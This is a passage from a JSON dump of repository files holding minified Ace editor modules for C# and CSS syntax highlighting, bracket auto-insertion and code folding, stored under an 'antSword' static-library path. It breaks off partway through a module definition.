h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/folding/csharp\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./cstyle\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.usingRe=/^\\s*using \\S/,this.getFoldWidgetRangeBase=this.getFoldWidgetRange,this.getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=this.getFoldWidgetBase(e,t,n);if(!r){var i=e.getLine(n);if(/^\\s*#region\\b/.test(i))return\"start\";var s=this.usingRe;if(s.test(i)){var o=e.getLine(n-1),u=e.getLine(n+1);if(!s.test(o)&&s.test(u))return\"start\"}}return r},this.getFoldWidgetRange=function(e,t,n){var r=this.getFoldWidgetRangeBase(e,t,n);if(r)return r;var i=e.getLine(n);if(this.usingRe.test(i))return this.getUsingStatementBlock(e,i,n);if(/^\\s*#region\\b/.test(i))return this.getRegionBlock(e,i,n)},this.getUsingStatementBlock=function(e,t,n){var r=t.match(this.usingRe)[0].length-1,s=e.getLength(),o=n,u=n;while(++n<s){t=e.getLine(n);if(/^\\s*$/.test(t))continue;if(!this.usingRe.test(t))break;u=n}if(u>o){var a=e.getLine(u).length;return new i(o,r,u,a)}},this.getRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*#(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/csharp\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/csharp_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/csharp\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./csharp_highlight_rules\").CSharpHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/csharp\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(f,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[]\\s*$/);o&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){return null},this.$id=\"ace/mode/csharp\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-css.js",
    "content": "ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var 